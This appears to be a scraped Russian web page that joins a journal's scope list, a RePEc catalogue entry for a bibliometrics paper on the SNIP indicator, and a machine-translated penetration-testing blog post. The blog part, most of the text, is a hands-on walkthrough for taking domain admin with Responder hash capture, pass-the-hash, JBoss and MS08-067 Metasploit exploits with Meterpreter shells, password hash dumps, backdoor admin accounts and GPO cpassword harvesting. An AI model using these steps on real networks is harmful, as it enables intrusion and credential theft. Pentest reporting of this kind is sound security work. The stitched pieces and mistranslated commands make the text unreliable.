1) Тематические области могут включать, но не ограничиваются:
• Качество воздуха, атмосферные условия и новое понимание их роли в неблагоприятных последствиях для здоровья или окружающей среды
• Атмосферная биогеохимия
• Экосистемные услуги и оценка жизненного цикла
• Экотоксикология и оценка рисков
• Эко-гидрология
• Дикая природа и загрязняющие вещества
• Воздействие изменения климата на окружающую среду, сельское хозяйство, лесное хозяйство и землепользование
• Воздействие на окружающую среду отходов или очистки сточных вод
• Загрязняющие вещества питьевой воды и последствия для здоровья
• Окружающая среда восстановление почвы и подземных вод
• Экстремальные явления, вызванные глобальными изменениями, и воздействие на окружающую среду
• Гидрогеохимия и моделирование подземных вод
• Наноматериалы, микропластики и другие появляющиеся загрязнители
• Новые подходы к мониторингу (био) загрязнителей и оценке рисков
• Дистанционное зондирование и большие данные приложений в нескольких сферах res
• Экология стресса в морских, пресноводных и наземных экосистемах
• Следы металлов и органических веществ в биогеохимических циклах
• Качество воды и безопасность
• Критические обзоры или обсуждение текущих или возникающих тем
• Быстрое рассмотрение (менее чем 2 недели): новаторские открытия с немедленным воздействием
2) Типы материалов, которые не будут рассматриваться:
• Статьи, не содержащие существенных новых знаний в области исследования
• Дисциплинарные исследования с ограниченной экологической значимостью
• Местные или тематические исследования регионального масштаба, не имеющие международного значения
• Исследования почв или растений без последствий для окружающей среды
• Лабораторные серийные эксперименты без прикладного компонента, e.g., серийные эксперименты по сорбции, подготовка и оценка сорбентов или катализаторов для удаления загрязняющих веществ
• Рукописи, которые в основном представляют собой отчеты о данных без существенной гипотезы, например, мониторинг распространенных загрязняющих веществ
• Моделирование исследований без калибровки и проверки данных
• Документы социальные науки в природе по вопросам окружающей среды или экономики ресурсов, политики и управления
• Исследования токсикологии и экотоксикологии, тестирующие отдельные химические вещества в лабораторных анализах
• Исследования здоровья человека, которые не обеспечивают существенного дополнительного понимания последствий для здоровья, вызванных загрязнением воздуха
• Документы по разработке методов по обычным загрязнениям
• Статьи по библиометрическому анализу
случай двух версий СНиП
Автор
Abstract
Предложена структура для сравнения различных типов библиометрических показателей, вводящая понятие отчета о сравнении показателей.Он дает исчерпывающий обзор основных различий и сходств показателей. Сравнение показывает как сильные стороны, так и ограничения каждого из рассматриваемых индикаторов, а не чрезмерное продвижение одного индикатора и игнорирование преимуществ альтернативных конструкций. Он фокусируется на базовых понятиях, предположениях и контекстах приложений, что делает его более понятным для неспециалистов. В качестве иллюстрации представлен сравнительный отчет для исходного и модифицированного источников, нормализованное влияние на статью, показатель цитируемости журнала (SNIP).
Предлагаемое цитирование
DOI: 10.1007 / s11192-015-1781-5
Скачать полный текст от издателя
Поскольку доступ к этому документу ограничен, вы можете поискать его другую версию.
Ссылки на IDEAS
- Лоэт Лейдесдорф и Лутц Борнманн, 2011 г. « Как дробный подсчет цитирований влияет на импакт-фактор: нормализация с точки зрения различий в потенциалах цитирования между областями науки ,» Журнал Американского общества информационных наук и технологий, Ассоциация информационных наук и технологий, вып. 62 (2), страницы 217-229, февраль.
- Waltman, Ludo & van Eck, Nees Jan & van Leeuwen, Thed N.И Виссер, Мартейн С., 2013. « Некоторые изменения в индикаторе воздействия журнала СНиП », Журнал Informetrics, Elsevier, vol. 7 (2), страницы 272-285.
- Хенк Ф. Моэд, 2011 г. « Нормализованное влияние источника на статью является достоверным и сложным индикатором влияния цитируемости журнала », Журнал Ассоциации информационных наук и технологий, Ассоциации информационных наук и технологий, т. 62 (1), страницы 211-213, январь.
- Моэд, Хенк Ф., 2010. « Измерение влияния контекстного цитирования научных журналов ,» Журнал Informetrics, Elsevier, vol. 4 (3), страницы 265-277.
- Гонсалес-Перейра, Борха и Герреро-Ботэ, Висенте П. и Мойя-Анегон, Феликс, 2010 г. « Новый подход к метрике научного престижа журналов: индикатор SJR », Журнал Informetrics, Elsevier, vol. 4 (3), страницы 379-391.
- Чжоу, Пинг и Лейдесдорф, Лоэт, 2011. « Дробный подсчет цитирований при оценке исследований: перекрестная и междисциплинарная оценка Университета Цинхуа в Пекине », Журнал Informetrics, Elsevier, vol.5 (3), страницы 360-368.
Цитаты
Цитаты извлекаются проектом CitEc, подпишитесь на его RSS-канал для этого элемента.
Цитируется по:
- Линь Фэн и Цзянь Чжоу и Шэн-Лан Лю, Нин Цай и Цзе Ян, 0. « Анализ показателей оценки журнала: экспериментальное исследование, основанное на неконтролируемой лапласианской оценке », Наукометрия, Springer; Akadémiai Kiadó, т.0, страницы 1-22.
- Линь Фэн и Цзянь Чжоу, Шэн-Лан Лю, Нин Цай и Цзе Ян, 2020. « Анализ показателей оценки журнала: экспериментальное исследование, основанное на неконтролируемой лапласианской оценке », Наукометрия, Springer; Akadémiai Kiadó, т. 124 (1), страницы 233–254, июль.
- Герсон Печ и Катарина Дельгадо, 2020. « Оценка влияния публикации с использованием данных цитирования из баз данных Scopus и WoS: подход, проверенный в 15 областях исследований », Наукометрия, Springer; Akadémiai Kiadó, т.125 (2), страницы 909-924, ноябрь.
- Уолтман, Людо, 2016. « Обзор литературы по индикаторам влияния цитирования ,» Журнал Informetrics, Elsevier, vol. 10 (2), страницы 365-391.
- Раминта Пранцкуте, 2021 г. « Web of Science (WoS) и Scopus: титаны библиографической информации в современном академическом мире ,» Публикации, MDPI, Open Access Journal, vol. 9 (1), страницы 1-59, март.
- Дэвид А. Пендлбери, 2019. « Прокладывая путь между простым и ложным, сложным и непригодным для использования: обзор Хенка Ф.Моэд, Прикладная оценочная информация [в серии «Качественный и количественный анализ научных исследований, », « Наукометрия, Springer; Akadémiai Kiadó, т. 119 (1), страницы 549-560, апрель.
Самые популярные товары
Это элементы, которые чаще всего цитируют те же работы, что и эта, и цитируются в тех же работах, что и эта.- Вольфганг Гленцель и Хенк Ф. Моед, 2013 г. « Мнение: мысли и факты о библиометрических показателях ,» Наукометрия, Springer; Akadémiai Kiadó, т.96 (1), страницы 381-394, июль.
- Мингерс, Джон и Лейдесдорф, Лоэт, 2015. « Обзор теории и практики наукометрии ,» Европейский журнал операционных исследований, Elsevier, vol. 246 (1), страницы 1-19.
- Уолтман, Людо, 2016. « Обзор литературы по индикаторам влияния цитирования ,» Журнал Informetrics, Elsevier, vol. 10 (2), страницы 365-391.
- Альгрен, Пер и Уолтман, Людо, 2014 г. « Корреляция между оценками каналов публикации на основе цитирования и экспертами: SNIP и SJR vs.Норвежские оценки качества , » Журнал Informetrics, Elsevier, vol. 8 (4), страницы 985-996.
- Буиссу, Дени и Маршан, Тьерри, 2016. « Ранжирование авторов с использованием дробного подсчета цитирований: аксиоматический подход ,» Журнал Informetrics, Elsevier, vol. 10 (1), страницы 183-199.
- Уолтман, Людо и ван Эк, Нис Ян и ван Лиувен, Тед Н. и Виссер, Мартин С., 2013. « Некоторые изменения в индикаторе воздействия журнала СНиП », Журнал Informetrics, Elsevier, vol.7 (2), страницы 272-285.
- Уолтерс, Уильям Х., 2017. « Отражают ли субъективные рейтинги журналов целые журналы или типичные статьи? Невзвешенное или взвешенное влияние цитирования? », Журнал Informetrics, Elsevier, vol. 11 (3), страницы 730-744.
- Дэцзян Ю и Ванру Ван, Шуай Чжан и Вэнью Чжан и Ронгю Лю, 2017. « Многосвязная, взаимно усиливаемая модель рейтинга журналов для измерения престижа журналов », Наукометрия, Springer; Akadémiai Kiadó, т.111 (1), страницы 521-542, апрель.
- Криштиану Варин, Мануэла Каттелан и Дэвид Ферт, 2016 г. « Статистическое моделирование обмена цитированием между статистическими журналами ,» Журнал Королевского статистического общества, серия A, Королевское статистическое общество, т. 179 (1), страницы 1-63, январь.
- Минкун Вэй, 2020. « Исследование по оценке воздействия журналов открытого доступа ,» Наукометрия, Springer; Akadémiai Kiadó, т. 122 (2), страницы 1027-1049, февраль.
- Мингерс, Джон и Ян, Лиин, 2017.« Оценка качества журнала: обзор показателей цитируемости журнала и рейтинга в бизнесе и управлении », Европейский журнал операционных исследований, Elsevier, vol. 257 (1), страницы 323-337.
- Людо Уолтман, Эрджия Ян и Нис Ян Эк, 2011 г. « Рекурсивный нормированный по полям библиометрический показатель эффективности: приложение в области библиотечного дела и информатики », Наукометрия, Springer; Akadémiai Kiadó, т. 89 (1), страницы 301-314, октябрь.
- Чжан, Фанг и Ву, Шэнли, 2020.« Предсказание будущего влияния статей, исследователей и площадок в динамичной академической сети », Журнал Informetrics, Elsevier, vol. 14 (2).
- Кристина Лопес-Дуарте и Марта М. Видаль-Суарес и Белен Гонсалес-Диас и Нуно Роса Рейс, 2016 г. « Понимание актуальности национальной культуры в международных исследованиях бизнеса: количественный анализ ,» Наукометрия, Springer; Akadémiai Kiadó, т. 108 (3), страницы 1553-1590, сентябрь.
- Борнманн, Лутц и Хауншильд, Робин, 2016.« баллов цитируемости, нормализованные по цитируемым источникам (CSNCR): введение нового индикатора влияния цитирования », Журнал Informetrics, Elsevier, vol. 10 (3), страницы 875-887.
- Лоэт Лейдесдорф, 2012 г. « Альтернативы импакт-фактору журнала: I3 и 10% (или 25%?) Наиболее цитируемых статей », Наукометрия, Springer; Akadémiai Kiadó, т. 92 (2), страницы 355-365, август.
- Лоэт Лейдесдорф, Пинг Чжоу и Лутц Борнманн, 2013 г.« Как можно нормализовать импакт-факторы журнала в разных областях науки? Оценка с точки зрения процентилей и дробных чисел », Журнал Ассоциации информационных наук и технологий, Ассоциации информационных наук и технологий, т. 64 (1), страницы 96-107, январь.
- Вэйбинь Ван и Чжэн Ван, Тянь Ю и Чол Мён Пак и Гуан Ю, 2020. « В исследовании цитирования упоминается время и вклады с использованием нейронной сети », Наукометрия, Springer; Akadémiai Kiadó, т.125 (3), страницы 2383-2400, декабрь.
- Людо Уолтман и Нис Ян Эк, 2013. « Нормализованные по источникам показатели влияния цитирования: обзор различных подходов и эмпирическое сравнение », Наукометрия, Springer; Akadémiai Kiadó, т. 96 (3), страницы 699-716, сентябрь.
- Радикки, Филиппо и Кастеллано, Клаудио, 2012 г. « Проверка достоверности показателей цитирования для сравнения в научных областях: случай дробного цитирования составляет », Журнал Informetrics, Elsevier, vol.6 (1), страницы 121-130.
Исправления
Все материалы на этом сайте предоставлены соответствующими издателями и авторами. Вы можете помочь исправить ошибки и упущения. При запросе исправления укажите дескриптор этого элемента: RePEc: spr: scientific: v: 106: y: 2016: i: 1: d: 10.1007_s11192-015-1781-5 . См. Общую информацию о том, как исправить материал в RePEc.
По техническим вопросам, касающимся этого элемента, или для исправления его авторов, заголовка, аннотации, библиографической информации или информации для загрузки, обращайтесь:.Общие контактные данные провайдера: http://www.springer.com .
Если вы создали этот элемент и еще не зарегистрированы в RePEc, мы рекомендуем вам сделать это здесь. Это позволяет связать ваш профиль с этим элементом. Это также позволяет вам принимать потенциальные ссылки на этот элемент, в отношении которых мы не уверены.
Если CitEc распознал библиографическую ссылку, но не связал с ней элемент в RePEc, вы можете помочь с этой формой .
Если вам известно об отсутствующих элементах, цитирующих этот элемент, вы можете помочь нам создать эти ссылки, добавив соответствующие ссылки таким же образом, как указано выше, для каждого элемента ссылки.Если вы являетесь зарегистрированным автором этого элемента, вы также можете проверить вкладку «Цитаты» в своем профиле RePEc Author Service, поскольку там могут быть некоторые цитаты, ожидающие подтверждения.
По техническим вопросам, касающимся этого элемента, или для исправления его авторов, названия, аннотации, библиографической информации или информации для загрузки, обращайтесь: Sonal Shukla или Springer Nature Abstracting and Indexing (адрес электронной почты указан ниже). Общие контактные данные провайдера: http://www.springer.com .
Обратите внимание, что исправления могут занять пару недель, чтобы отфильтровать различные сервисы RePEc.
Пять лучших способов, с помощью которых SpiderLabs получил администратора домена в вашей внутренней сети | Trustwave | SpiderLabs
Всегда удивительно, насколько небезопасными оказываются некоторые внутренние сети. Менее удивительной является реакция клиента на получение в SpiderLabs администратора домена в течение первого дня тестирования. ПО устанавливается с настройками по умолчанию, патчи не применяются,
или основные меры предосторожности не принимаются во время или после установки политик.В то время как
бывают случаи, когда тестировщику на проникновение приходится усерднее работать, чтобы получить домен
Доступ к внутренней сети, это список из пяти самых быстрых способов
Администратор домена.
Заявление об ограничении ответственности — Нет средней школы на базе «Волчонка» (см. «Бикон-Хиллз Хай»: ссылки ниже) или «Средиземье» (см. Различные ссылки ниже) внутренние сети были заложены при создании это сообщение в блоге.
1.Отравление имен Netbios и LLMNR
Одно из первых, что запускается при внутреннем тесте на проникновение, — это Responder. Лоран Гаффье подарил SpiderLabs наш любимый инструмент в октябре 2012 года. Если вы хотите получить более подробную информацию, перейдите по этим ссылкам:
http://blog.spiderlabs.com/2012/10/introduction-responder-10.html
http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html
http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.HTML
Обычно, когда рабочей станции Windows требуется запросить поиск по имени, она проверяет следующие 3 места по порядку: файл локальных хостов, настроенные DNS-серверы и широковещательные сообщения NetBIOS. Если запрос не выполняется как в файле локальных хостов, так и в DNS, он выполняет широковещательный запрос NetBIOS в локальной сети. Поскольку это широковещательный запрос, ответить может любая система в локальной сети. Используя Responder, SpiderLabs может отвечать как функциональная служба без необходимости подмены ARP (и, возможно, срабатывания контрмер).
Кроме того, отравление LLMNR использует процесс, с помощью которого системы Windows разрешают имена хостов. После того, как в DNS проверяется ошибочное имя хоста, Windows берет адреса, которые не разрешаются, и запрашивает адрес из локальной сети через запрос LLMNR, чтобы определить, находится ли хост в локальной сети. Отвечая на эти запросы, злоумышленник может воспользоваться этими ошибками и позволить этим запросам обслуживаться системой злоумышленника. Таким образом злоумышленник может получить учетные данные для аутентификации в интрасети, а также потенциально отправить вредоносные страницы обратно запрашивающей стороне.
~ / Responder # python Responder.py -i 192.168.8.25
Служба имен NBT / LLMNR Answerer 1.0.
Сообщения об ошибках / комментарии присылайте по адресу: [email protected]
Чтобы убить этот скрипт, нажмите CRTL-C
[+] Запущен ответчик NBT-NS и LLMNR
Набор глобальных параметров:
Набор задач: 1122334455667788
Прокси-сервер WPAD: ВЫКЛ.
HTTP-сервер: ВКЛ.
HTTPS-сервер: включен
SMB-сервер: ВКЛ.
Поддержка SMB LM установлена на: 0
SQL Server: включен
FTP-сервер: ВКЛ.
DNS-сервер: ВКЛ.
Сервер LDAP: ВКЛ.
Модуль FingerPrint: ВЫКЛ.
Отравленный ответ LLMNR, отправленный на этот IP-адрес: 192.168.8.112. Запрошенное имя: wpad.
Отравленный ответ LLMNR, отправленный на этот IP-адрес: 192.168.8.112. Запрошенное имя: wpad.
Отравленный ответ LLMNR, отправленный на этот IP-адрес: 192.168.8.12. Запрошенное имя: 110.
… отрезать…
NBT-NS Ответ отправлен на: 192.168.8.6
[+] Хэш SMB-NTLMv2, полученный из: 192.168.8.6
Домен: BEACONHILLSHIGH
Пользователь: smccall
[+] Полный хеш SMB:
smccall :: BEACONHILLSHIGH: 1122334455667788: действительноlonghash
Запрошена доля: \\ ECONOMY309 \ IPC $
… нож…
Отравленный ответ LLMNR, отправленный на этот IP-адрес: 192.168.8.11. Запрошенное имя: wpad.
[+] Хеш SMB-NTLMv2, полученный из: 192.168.8.11
Домен: BEACONHILLSHIGH
Пользователь: lmartin
[+] Полный хеш SMB:
lmartin :: BEACONHILLSHIGH: 1122334455667788: действительноlonghash
Запрошена доля: \\ ADVCHEM \ 311IPC $
… ножницы…
Winexe-PTH — это программное обеспечение, которое позволяет злоумышленнику удаленно выполнять команды в системах Windows из системы Linux. Общие команды, которые могут быть запущены: cmd.exe, ipconfig, wsftp, vnc и т. Д. Они используются, когда модуль psexec Metasploit не может обойти антивирус в системе.
~ / work / nmap # ~ / SpiderLabs / winexe-PTH -U BEACONHILLSHIGH \\ smccall% allison —uninstall —system // 192.168.8.6 cmd.exe
Microsoft Windows XP [Версия 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C: \ WINDOWS \ system32> чистый пользователь twadmin $ piD3rsRul3! / добавить / домен
чистый пользователь twadmin $ piD3rsRul3! / добавить / домен
Запрос будет обработан на контроллере домена для домена beaconhillshigh.edu.
Команда успешно выполнена.
C: \ WINDOWS \ system32> сетевая группа «Администраторы домена» twadmin / add / domain
сетевая группа «Администраторы домена» twadmin / add / domain
Запрос будет обработан на контроллере домена для домена beaconhillshigh.edu.
Команда успешно выполнена.
2. Эксплуатационная уязвимость JBoss
После завершения сканирования nmap и перечисления открытых портов запускается быстрое вспомогательное сканирование Metasploit для поиска уязвимостей JBoss. JBoss — это сервер веб-приложений на основе Java, а консоль JBoss Java Management Extensions (JMX) — это веб-интерфейс для управления ресурсами Java (mbeans), предоставляемыми платформой JBoss.Кроме того, он обеспечивает административный доступ к функциям JMX, включая возможность загрузки и выполнения произвольных пакетов JSP. Таким образом, доступ к консоли JMX в конечном итоге позволяет злоумышленнику выполнить произвольный код в контексте учетной записи веб-службы.
msfcli вспомогательный / сканер / http / dir_scanner THREADS = 25 RHOSTS = file: ./ 8080 СЛОВАРЬ =. / Http.scan.list RPORT = 8080 E >> http.jboss.8080
~ / work / nmap # cat http.jboss.8080
[*] Инициализация модулей…
РЕЗЬБЫ => 25
RHOSTS => файл: ./ 8080
СЛОВАРЬ => ./http.scan.list
RPORT => 8080
[*] Код ошибки определения
[*] Код ошибки определения
[*] Код ошибки определения
[*] Код ошибки определения
[*] Используется код 404, который не найден для 192.168.5.18
[*] Используется код 404, который не найден для 192.168.5.21
[*] Используется код 404, который не найден для 192.168.5.20.
[*] Найдено http://192.168.5.20:8080/web-console/ 401 (192.168.5.20)
[*] http://192.168.5.20:8080/web-console/ требует аутентификации: Basic realm = «JBoss JMX Console»
[*] Найдено http://192.168.5.20:8080/web-console/ 404 (192.168.5.20)
[*] Найдено http://192.168.5.20:8080/jmx-console/ 401 (192.168.5.20)
[*] http: // 192.168.5.20: 8080 / jmx-console / требует аутентификации: Basic realm = «JBoss JMX Console»
[*] Найдено http://192.168.5.21:8080/jmx-console/ 404 (192.168.5.21)
[*] Просканировано 4 из 4 хостов (выполнено 100%)
[*] Выполнение вспомогательного модуля завершено
Вывод использования вспомогательного / scanner / http / jboss_vulnscan:
[*] 192.168.5.20:8080 / jmx-console / HtmlAdaptor требует аутентификации (401): Basic realm = «JBoss JMX Console»
[*] 192.168.5.20: 8080 Проверить глагол на подделку (HEAD)
[+] 192.168.5.20:8080 Получен обход аутентификации через вмешательство HTTP-команды
[+] 192.168.5.20:8080 Аутентифицировано с использованием admin: admin
[+] 192.168.5.20:8080 / status не требует аутентификации (200)
[+] 192.168.5.20:8080 /web-console/ServerInfo.jsp не требует аутентификации (200)
[+] 192.168.5.20:8080 / web-console / Invoker не требует аутентификации (200)
[+] 192.168.5.20: 8080 / invoker / JMXInvokerServlet не требует аутентификации (200)
Вывод использования exploit / multi / http / jboss_maindeployer:
эксплойт msf (jboss_maindeployer)> эксплойт
[*] Запущен обратный обработчик на 192.168.5.233:4444
[*] Извините, автоматическое обнаружение цели не работает с запросами HEAD
[*] Автоматически выбранная цель «Java Universal»
[*] Запуск нашего веб-сервиса на http: // 192.168.5.233: 1337 / HlusdqEcokvXH.war …
[*] Использование URL: http: // 192.168.5.233:1337/HlveuqEzrovXH.war
[*] Запрос сервера JBoss на развертывание (через MainDeployer) http://192.168.5.233:1337/HlusdqEcokvXH.war
[*] Отправка архива WAR на сервер …
[*] Отправка архива WAR на сервер …
[*] Ожидание запроса сервером архива WAR ….
[*] Завершение работы веб-службы…
[*] Выполнение HlusdqEcokvXH …
[+] Полезная нагрузка успешно запущена в ‘/HlusdqEcokvXH/ewNYTEdFnYdcaOl.jsp’
[*] Отмена развертывания HlusdqEcokvXH …
[*] Этап отправки (30355 байт) на адрес 192.168.5.159
[*] Сеанс Meterpreter 1 открыт (192.168.5.233:4444 -> 192.168.5.20:4209) в 2013-09-15 19:00:06 -0600
meterpreter> sysinfo
Компьютер: BHHSMOFF011
ОС: Windows 2003 5.2 (x86)
Измеритель: java / java
meterpreter> оболочка
Процесс 1 создан.
Канал 1 создан.
Microsoft Windows XP [Версия 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C: \ DELLBAC \ EJBContainer \ bin> whoami
whoami
beaconhillshigh \ backup_admin
C: \> net user twadmin $ piD3rsRul3! / добавить / домен
чистый пользователь twadmin $ piD3rsRul3! / добавить / домен
Запрос будет обработан на контроллере домена для домена beaconhillshigh.edu.
Команда успешно выполнена.
C: \> сетевая группа «Администраторы домена» twadmin / add / domain
сетевая группа «Администраторы домена» twadmin / add / domain
Запрос будет обработан на контроллере домена для домена beaconhillshigh.edu.
Команда успешно выполнена.
3. MS08-067
Прошло уже более 4 лет, но непропатченные машины MS08-067 все еще отсутствуют.Бюллетень по безопасности Microsoft MS08-067 по существу объясняет, что удаленный код может быть выполнен в системах Windows без исправлений (Windows Server 2000, Windows Server 2003 и Windows XP) с использованием специально созданного запроса RPC. Сначала Nmap используется для проверки уязвимости, а затем используется модуль Metasploit ms08-067_netapi для использования уязвимости.
nmap —script = smb-check-vulns.nse -v -v -p 445,139 -iL smb -oA ms08 меньше ms08.nmap
… snip…
Отчет о сканировании Nmap для выделения в квадрате шелоба (192.168.1.103)
Хост работает (задержка 0,00042 с).
Отсканировано в 2013-09-16 21:52:32 CDT для 55 секунд
ПОРТОВАЯ ГОСУДАРСТВЕННАЯ СЛУЖБА
139 / tcp открыть netbios-ssn
445 / tcp открыть microsoft-ds
MAC-адрес: 00: 0C: 29: E3: 25: 78 (VMware)
Результаты хост-скрипта:
| smb-check-vulns:
| MS08-067: УЯЗВИМЫЙ
| Conficker: Скорее всего, ЧИСТЫЙ
| SMBv2 DoS (CVE-2009-3103): НЕ УЯЗВИМО
| MS06-025: НЕТ СЕРВИСА (служба Ras RPC неактивна)
| _ MS07-029: НЕТ СЕРВИСА (служба Dns Server RPC неактивна)
…щипок …
Затем используется модуль m08-067 Metasploit для попытки использования уязвимости.
msf> используйте windows / smb / ms08_067_netapi
эксплойт msf (ms08_067_netapi)> установить RHOST 192.168.1.103
RHOST => 192.168.1.103
эксплойт msf (ms08_067_netapi)> установить TARGET 0
ЦЕЛЬ => 0
эксплойт msf (ms08_067_netapi)> установить LHOST 192.168.1.215
LHOST => 192.168.1.215
эксплойт msf (ms08_067_netapi)> установить PAYLOAD windows / meterpreter / bind_tcp
ЗАГРУЗКА => windows / meterpreter / bind_tcp
эксплойт msf (ms08_067_netapi)> эксплойт
[*] Запущен обработчик привязки
[*] Автоматическое обнаружение цели …
[*] Отпечаток пальца: Windows XP — Service Pack 2 — язык: английский
[*] Выбранная цель: Windows XP SP2, английский язык (AlwaysOn NX)
[*] Попытка активировать уязвимость…
[*] Этап отправки (752128 байт) на адрес 192.168.1.103
[*] Сессия Meterpreter 1 открыта (192.168.1.215:33354 -> 192.168.1.103:4444) в 2013-09-16 21:54:15 -0500
meterpreter> getsystem
… получил систему (по методике 1).
meterpreter> sysinfo
Компьютер: SHELOB-SQUARED
ОС: Windows XP (сборка 2600, пакет обновления 2).
Архитектура: x86
Системный язык: en_US
Meterpreter: x86 / win32
meterpreter> запустить hashdump
[*] Получение загрузочного ключа …
[*] Расчет ключа hboot с помощью SYSKEY 48c76bfa334c4c21edd1154db541c2c2 …
[*] Получение списка пользователей и ключей …
[*] Расшифровка ключей пользователя …
[*] Дамп подсказок паролей…
Фродо: «что у меня есть»
Samwise: «Фродо»
Страйдер: «любовь»
Леголас: «любимое изречение»
Гимли: «что я»
Боромир: «кто я»
Гэндальф: «мория»
[*] Выгрузка хэшей паролей …
Администратор: 500: f75d090d8564fd334a3b108f3fa6cb6d: 3019d5d61cdf713c7b677efefc22f0e5 :::
Гость: 501: aad3b435b51404eeaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0 :::
HelpAssistant: 1000: 7e8a50750d9a1a30d3d4a83f88ea86ab: 6fba9c0f469be01bab209ee2785a818d :::
ПОДДЕРЖКА_388945a0: 1002: aad3b435b51404eeaad3b435b51404ee: 861165412001ece0a5e73ab8863129d8 :::
Фродо: 1003: 74052b0fb3d802a3be4db4ed34a95891: a7cee25799f518f9bd886683a13ed6d0 :::
Сэмвайз: 1004: aad3b435b51404eeaad3b435b51404ee: 7dff81410af5e2d0c2b6e54a98a8f622 :::
Страйдер: 1005: 825f8bc99c2a5013e72c57ef50f76a05: 1047f0b952cfbffbdd6c34ef6bd610e5 :::
Леголас: 1006: 625d787db20f1dd8aad3b435b51404ee: cc5b9f225e569fa3a2534be394df531a :::
Гимли: 1007: aad3b435b51404eeaad3b435b51404ee: e4d2534368ff0f1cbe2a42c5d79b9818 :::
Боромир: 1008: e3bee25ac9de68cec2cc282901fd62d9: 4231db4c15025d1951f3c0d39d8656a2 :::
Гэндальф: 1009: 20ef2c7725e35c1dbd7cfc62789a58c8: 02d0a4d2b6c7d485a935778eb90e0446 :::
meterpreter> оболочка
Процесс 2708 создан.
Канал 1 создан.
Microsoft Windows XP [Версия 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C: \ WINDOWS \ system32> whoami
whoami
МИРКВУД \ Гэндальф
C: \ WINDOWS \ system32> чистый пользователь twadmin $ piD3rsRul3! / добавить / домен
Запрос будет обработан на контроллере домена для домена MIRKWOOD.
Команда успешно выполнена.
C: \ WINDOWS \ system32> сетевая группа «Администраторы домена» twadmin / add / domain
сетевая группа «Администраторы домена» twadmin / add / domain
Запрос будет обработан на контроллере домена для домена MIRKWOOD.
Команда успешно выполнена.
4. Пароль GPO
Если администратор домена не был получен с помощью учетных данных, полученных при запуске Responder, или сброса хэшей в различных системах, еще одно место для поиска — это политики и сценарии контроллера домена на серверах Windows 2008.Объекты групповой политики используются для хранения профильной информации о сетевых системах и пользователях, которая будет применяться в домене. Smbclient можно использовать для захвата или размещения файлов в целевых системах или в этом случае для получения информации из системного каталога.
smbclient -W MIRKWOOD -U ‘Legolas% orcs’ \\\\ 192.168.1.105 \\ SYSVOL
Domain = [MIRKWOOD] OS = [Windows Server 2008 R2 Standard 7600] Server = [Windows Server 2008 R2 Standard 6.1 ]
smb: \> dir
.D 0 Ср 15 сен 15:08:37 2012
.. D 0 Ср 15 сен 15:08:37 2012
mirkwood.local D 0 Ср 15 сен 15:08:37 2012
48457 блоков размером 4194304. Доступно 44175 блоков
smb: \> cd mirkwood.local \
smb: \ smirkwood.local \> dir
.D 0 Ср 15 сен, 15:13:05 2012
.. D 0 Ср 15 сен 15:13:05 2012
Политики D 0 Вт, 30 октября 10:29:31 2012
скрипты D 0 Чт 8 ноя 12:50:21 2012
smb: \> recurse
smb: \> подсказка выключена
smb: \> Политики mget
… ножницы…
получение файла \ mirkwood \ Policies \ PolicyDefinitions \ access32.admx размером 98874 как access32.admx (3657,0 килобайт / сек) (в среднем 3657,0 килобайт / сек)
получение файла \ mirkwood \ Policies \ PolicyDefinitions \ access34.admx размером 131924 как access34.admx (27324,5 килобайт / сек) (в среднем 7038,2 килобайт / сек)
получение файла \ mirkwood \ Policies \ PolicyDefinitions \ ActiveXInstallService.admx размером 7217 как ActiveXInstallService.admx (2303,1 килобайт / сек) (в среднем 6722,5 килобайт / сек)
получение файла \ mirkwood \ Policies \ PolicyDefinitions \ AddRmvPrograms.admx размером 7214 как AddRmvPrograms.admx (2301,6 килобайт / сек) (в среднем 6446,2 килобайт / сек)
получение файла \ mirkwood \ Policies \ PolicyDefinitions \ asdf.admx размером 4249 как asdf.admx (122,0 килобайт / сек) (в среднем 4940,4 килобайт / сек)
получение файла \ mirkwood \ Policies \ PolicyDefinitions \ AppCompat.admx размером 4893 как AppCompat.admx (2633,2 килобайт / сек) (в среднем 4835,6 килобайт / сек)
получение файла \ mirkwood \ Policies \ PolicyDefinitions \ AttachmtMgr.admx размером 3865 как AttachmtMgr.admx (2912,5 килобайт / сек) (в среднем 4752,0 килобайт / сек)
получение файла \ mirkwood \ Policies \ PolicyDefinitions \ AutoPlay.admx размером 5591 как AutoPlay.admx
… Ножницы…
smb: \> recurse
smb: \> подсказка выключена
smb: \> скрипты mget
… отрезать…
smb: \ avi \> скрипты mget
Получить скрипты каталога? у
Получить корзину каталога? у
Получить файл # ВКЛЮЧИТЬ.ЛЕТУЧАЯ МЫШЬ? у
получение файла \ mirkwood \ scripts \ bin \ # INCLUDE.BAT размером 2839 как # INCLUDE.BAT (409,6 килобайт / сек) (в среднем 409,7 килобайт / сек)
получение файла \ mirkwood \ scripts \ bin \ NETLOGON.BAT размером 1438 как NETLOGON.BAT (28,9 килобайт / сек) (в среднем 137,7 килобайт / сек)
получение файла \ mirkwood \ scripts \ bin \ NETLOGON2.BAT размером 16781 как NETLOGON2.BAT (691.0 килобайт / сек) (в среднем 566.0 килобайт / сек)
получение файла \ mirkwood \ scripts \ bin \ NETLOGON3.BAT размером 16486 как NETLOGON3.BAT (1268,5 килобайт / сек) (в среднем 773,6 килобайт / сек)
получение файла \ mirkwood \ scripts \ bin \ NETLOGON4.BAT размером 17429 как NETLOGON4.BAT (1108,7 килобайт / сек) (в среднем 858,8 килобайт / сек)
… отрезать…
После загрузки файлов выполните grep через политики и сценарии для администратора или cpassword (в данном случае будет работать любой другой вариант):
grep -ri administrator.
grep -ri cpassword.
~ / work / nmap / 192.168.1.0-24 / downloads / Policies # grep -ri administrator.
./{FC71D7SS-51E2-4B9D-B261-GB8C9733D433}/Machine/Preferences/Groups/Groups.xml:
: <Группы
clsid = "{3125E277-EB16-4b4c-6534-544FC6D24D26}"> <Пользователь
clsid = "{HH5F1654-51E6-4d24-9B1A-D9BFN34BA1D1}"
name = "Администратор (встроенный)" image = "2" changed = "2012-12-30
12:47:25 "uid =" {8E2D5E22-E914-438F-SS5D-FDDA92925BB7} "
userContext = "0" removePolicy = "0"> <Свойства
действие = "U" newName = "" fullName = ""
description = "" cpassword = « j1Uyj3Vx8TY9LtLZil2uAuZkFQA / 4latT76ZwgdHdhw » changeLogon = «0» noChange = «0»
neverExpires = «0» acctDisabled = «0»
subAuthority = «RID_ADMIN» userName = «Администратор
